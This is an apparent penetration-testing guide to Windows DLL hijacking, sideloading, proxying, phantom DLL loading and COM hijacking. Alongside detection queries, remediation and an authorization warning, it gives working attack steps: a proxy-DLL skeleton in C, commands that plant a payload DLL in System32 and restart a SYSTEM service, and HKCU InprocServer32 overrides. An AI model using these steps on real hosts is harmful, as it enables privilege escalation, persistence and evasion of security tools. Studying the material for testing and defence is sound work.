9 min read

DLL Hijacking & Sideloading

DLL hijacking exploits the Windows DLL search order to execute malicious code by placing a crafted DLL where a legitimate application will load it. This guide covers search order hijacking, DLL sideloading (abusing signed applications), DLL proxying (forwarding exports to the real DLL), and phantom DLL loading for persistence and privilege escalation.

Danger

Placing a DLL in a program's directory is a change to the client's software. Do it against an application the engagement names, keep a copy of the original file, and restore it before you leave the host — a stray payload DLL next to a signed executable is a backdoor the client will find later and report as an incident. Replacing a service DLL also needs the service-restart window agreed in advance.

Windows DLL Search Order

When an application loads a DLL without specifying a full path, Windows searches these locations in order:

Priority Location Hijack Viability
1 Known DLLs registry (preloaded system DLLs) Not hijackable
2 Application directory Sideloading target
3 System directory (C:\\Windows\\System32) Requires admin
4 16-bit system directory Legacy, rare
5 Windows directory Requires admin
6 Current working directory CWD hijack
7 Directories in PATH variable PATH hijack

Finding Hijackable DLLs

finding-hijackable-dlls.ps1
# Process Monitor (Sysinternals) — find DLL load failures
# Filter: Operation=CreateFile, Result=NAME NOT FOUND, Path ends with .dll
# This shows DLLs the application tried to load but couldn't find

# Automated scanning tools
# DLLSpy — scan for hijackable DLLs
DLLSpy.exe /scan

# PowerSploit Find-DLLHijack
Import-Module PowerSploit
Find-DLLHijack

# Check PATH directories for write permissions
$env:PATH -split ';' | ForEach-Object {
  $acl = Get-Acl $_ -ErrorAction SilentlyContinue
  $writeable = $acl.Access | Where-Object { 
    $_.FileSystemRights -match 'Write|FullControl' -and 
    $_.IdentityReference -notmatch 'SYSTEM|Administrators'
  }
  if ($writeable) { Write-Output "WRITABLE: $_" }
}

# Check specific application directories
icacls "C:\Program Files\VulnerableApp" /T | findstr /i "Users Everyone"

# WinPEAS automated check
winpeas.exe quiet applicationsinfo

DLL Sideloading

DLL sideloading abuses a legitimate signed application by placing a malicious DLL in the same directory. The signed app loads the malicious DLL, executing your code under the context of a trusted binary — bypassing application whitelisting and gaining the trust of EDR products.

Signed Application Sideloadable DLL
OneDrive.exe version.dll
Teams.exe dbghelp.dll
Notepad++.exe SciLexer.dll
7z.exe 7z.dll
dll-sideloading.ps1
# Copy signed EXE to a writable directory
copy "C:\Program Files\App\signed.exe" C:\Temp\

# Place malicious DLL with expected name alongside the EXE
copy payload.dll C:\Temp\version.dll

# Execute the signed app — it loads your DLL from its directory
C:\Temp\signed.exe

DLL Proxying

DLL proxying is a stealthier variant — your malicious DLL forwards all legitimate function calls to the real DLL while also running your payload. This keeps the application functional and avoids crashes.

dll-proxying.c
// Example: version.dll proxy (C/C++)
// Forwards all exports to the real version.dll while executing payload

#pragma comment(linker, "/export:GetFileVersionInfoA=C:\\Windows\\System32\\version.GetFileVersionInfoA")
#pragma comment(linker, "/export:GetFileVersionInfoByHandle=C:\\Windows\\System32\\version.GetFileVersionInfoByHandle")
#pragma comment(linker, "/export:GetFileVersionInfoExA=C:\\Windows\\System32\\version.GetFileVersionInfoExA")
#pragma comment(linker, "/export:GetFileVersionInfoExW=C:\\Windows\\System32\\version.GetFileVersionInfoExW")
#pragma comment(linker, "/export:GetFileVersionInfoSizeA=C:\\Windows\\System32\\version.GetFileVersionInfoSizeA")
#pragma comment(linker, "/export:GetFileVersionInfoSizeExA=C:\\Windows\\System32\\version.GetFileVersionInfoSizeExA")
#pragma comment(linker, "/export:GetFileVersionInfoSizeExW=C:\\Windows\\System32\\version.GetFileVersionInfoSizeExW")
#pragma comment(linker, "/export:GetFileVersionInfoSizeW=C:\\Windows\\System32\\version.GetFileVersionInfoSizeW")
#pragma comment(linker, "/export:GetFileVersionInfoW=C:\\Windows\\System32\\version.GetFileVersionInfoW")
#pragma comment(linker, "/export:VerFindFileA=C:\\Windows\\System32\\version.VerFindFileA")
#pragma comment(linker, "/export:VerFindFileW=C:\\Windows\\System32\\version.VerFindFileW")
#pragma comment(linker, "/export:VerQueryValueA=C:\\Windows\\System32\\version.VerQueryValueA")
#pragma comment(linker, "/export:VerQueryValueW=C:\\Windows\\System32\\version.VerQueryValueW")

#include <windows.h>

BOOL WINAPI DllMain(HINSTANCE hDll, DWORD dwReason, LPVOID lpReserved) {
    if (dwReason == DLL_PROCESS_ATTACH) {
        // Execute payload in a separate thread to avoid loader lock
        CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)PayloadFunction, NULL, 0, NULL);
    }
    return TRUE;
}
dll-proxying.ps1
# Automated proxy DLL generation
# SharpDLLProxy — auto-generates proxy DLL source code
SharpDLLProxy.exe --dll C:\Windows\System32ersion.dll --payload shellcode.bin

# DLL-Hijack-Calculator — find and generate proxy DLLs
# Spartacus — automated DLL hijacking discovery
Spartacus.exe --mode dll-hijack --procmon-log procmon.csv

Phantom DLL Loading

Phantom DLLs are DLLs that Windows services or scheduled tasks attempt to load but don't exist on disk. Placing a malicious DLL at the expected path causes it to load with the privileges of the calling service — often SYSTEM.

Phantom DLL Service / Component Context
wlbsctrl.dll IKEEXT (VPN / IKE) SYSTEM
wbemcomn.dll WMI Service SYSTEM
fveapi.dll BitLocker SYSTEM
Tsmsisrv.dll Terminal Services SYSTEM
TSVIPSrv.dll Terminal Services SYSTEM

Use Process Monitor (Sysinternals) to discover additional phantom DLLs: filter for Result = NAME NOT FOUND where path ends with .dll and the process is a system service.

phantom-dll-loading.ps1
# Check if IKEEXT service is running (wlbsctrl.dll phantom)
sc query IKEEXT

# If running and wlbsctrl.dll doesn't exist in System32:
copy payload.dll C:\Windows\System32\wlbsctrl.dll
net stop IKEEXT && net start IKEEXT

DLL Hijacking for Privilege Escalation

Scenario 1 — Writable service directory: If a service's install folder is writable by the current user, place a DLL the service loads from its own directory.
Scenario 2 — SYSTEM scheduled tasks: Scheduled tasks running as SYSTEM that load DLLs from user-writable paths allow privilege escalation.
Scenario 3 — COM object hijacking: Override a system COM object's InprocServer32 in HKCU (per-user, no admin needed). When any process loads that COM object, your DLL runs in their context.

dll-hijacking-for-privilege-escalation.ps1
# Find SYSTEM scheduled tasks with potentially writable paths
schtasks /query /fo LIST /v | findstr /i "task\|run as"

# COM hijacking — override InprocServer32 in HKCU (no admin)
reg add "HKEY_CURRENT_USER\Software\Classes\CLSID\&#123;b5f8350b-0548-48b1-a6ee-88bd00b4a5e7&#125;\InprocServer32" /ve /d "C:\Temp\payload.dll" /f
reg add "HKEY_CURRENT_USER\Software\Classes\CLSID\&#123;b5f8350b-0548-48b1-a6ee-88bd00b4a5e7&#125;\InprocServer32" /v ThreadingModel /d "Both" /f

Detection & Blue Team

Source Detection
Sysmon Event 7 Image loaded — unsigned DLL loaded by signed process, or DLL loaded from unusual path
Sysmon Event 1 Process creation — signed binary run from non-standard directory
Sysmon Event 13 Registry modification — InprocServer32 changes for COM hijacking
EDR Module load from writable user directories, hash mismatch on known DLLs
dll-load-detection.txt
// KQL — Detect unsigned DLL loaded by signed process
DeviceImageLoadEvents
| where InitiatingProcessFileName in ("OneDrive.exe","Teams.exe","7z.exe")
| where not(FolderPath startswith "C:\Program Files")
| project Timestamp, DeviceName, InitiatingProcessFileName, FileName, FolderPath, SHA256

// Sysmon — DLL sideloading detection (Sigma rule equivalent)
Event
| where Source == "Microsoft-Windows-Sysmon" and EventID == 7
| where ImageLoaded !startswith "C:\Windows\" 
| where Signed == "false"
| project TimeGenerated, Computer, Image, ImageLoaded

Evidence Collection

Load proof: Sysmon 7 or a Process Monitor entry showing the signed process loading your DLL from the writable path — the load is the finding, the file existing is not.

Write proof: The ACL that let you place the file: icacls output for the directory, not a scanner’s colour.

Context: Which account the host process ran as, and therefore which privilege your code inherited.

Payload: What the DLL did — one observable action (a file written, a beacon, a command) rather than a callback you cannot reproduce.

CVSS range: User-context sideloading: 6.5–7.3 · SYSTEM via a writable service directory or phantom DLL: 7.8–8.8.

False Positive Identification

  • A DLL in the application directory: Sideloading is normal application design. It is a finding only when the directory is writable by someone who should not have write access.
  • An unsigned DLL loaded by a signed process: Plenty of legitimate software ships unsigned modules. The signal is unsigned plus a non-standard path plus an unexpected writer.
  • A proxy DLL: Proxying is also a legitimate compatibility technique. What distinguishes it is the payload it forwards to, not the export table.
  • A phantom DLL that exists: If the DLL is present on disk, the load is not phantom. Confirm NAME NOT FOUND at the expected path before reporting it.
  • Process Monitor noise: Explorer probing many paths produces NAME NOT FOUND constantly. Filter to the target process and to DLLs the loader will actually resolve.
  • A COM registration under HKCU: Per-user registrations are legitimate for some installers. The tell is a per-user CLSID shadowing an existing machine-wide one.

Testing Checklist

Find the writable pair

  • ☐ Identify a service or auto-start app whose directory or DLL search path is user-writable
  • ☐ Confirm with icacls that the account you hold can write there
  • ☐ Check whether the target runs as SYSTEM or as a higher-privileged service account
  • ☐ Prefer a phantom DLL on a service you can restart over replacing a binary

Prove the load

  • ☐ Keep a copy of the original DLL before replacing anything
  • ☐ Place a benign marker first — an empty export or a log write — before a payload
  • ☐ Capture the load event and the process context
  • ☐ Restore the original DLL and confirm the application still starts
  • ☐ Remove the file from any directory you created it in

Remediation & Hardening

Remove the writable path

  • • ACL application directories so only administrators and the service account can write
  • • Keep user-writable directories out of the machine PATH and out of service working directories
  • • Leave SafeDllSearchMode enabled so the current working directory is searched last

Constrain what can load

  • • WDAC or AppLocker with DLL rules blocks unsigned module loads in the paths that matter
  • • Enable Code Integrity so only signed DLLs load into protected processes
  • • Audit phantom candidates: a service that probes for a DLL that does not exist is a standing hole

Detect the pair

  • • Alert on Sysmon 7 where the image is signed, the DLL is not, and the path is user-writable
  • • Alert on a file created in a service directory outside the deployment tooling
  • • Correlate with 7045 / 4698 — sideloading usually arrives with one of them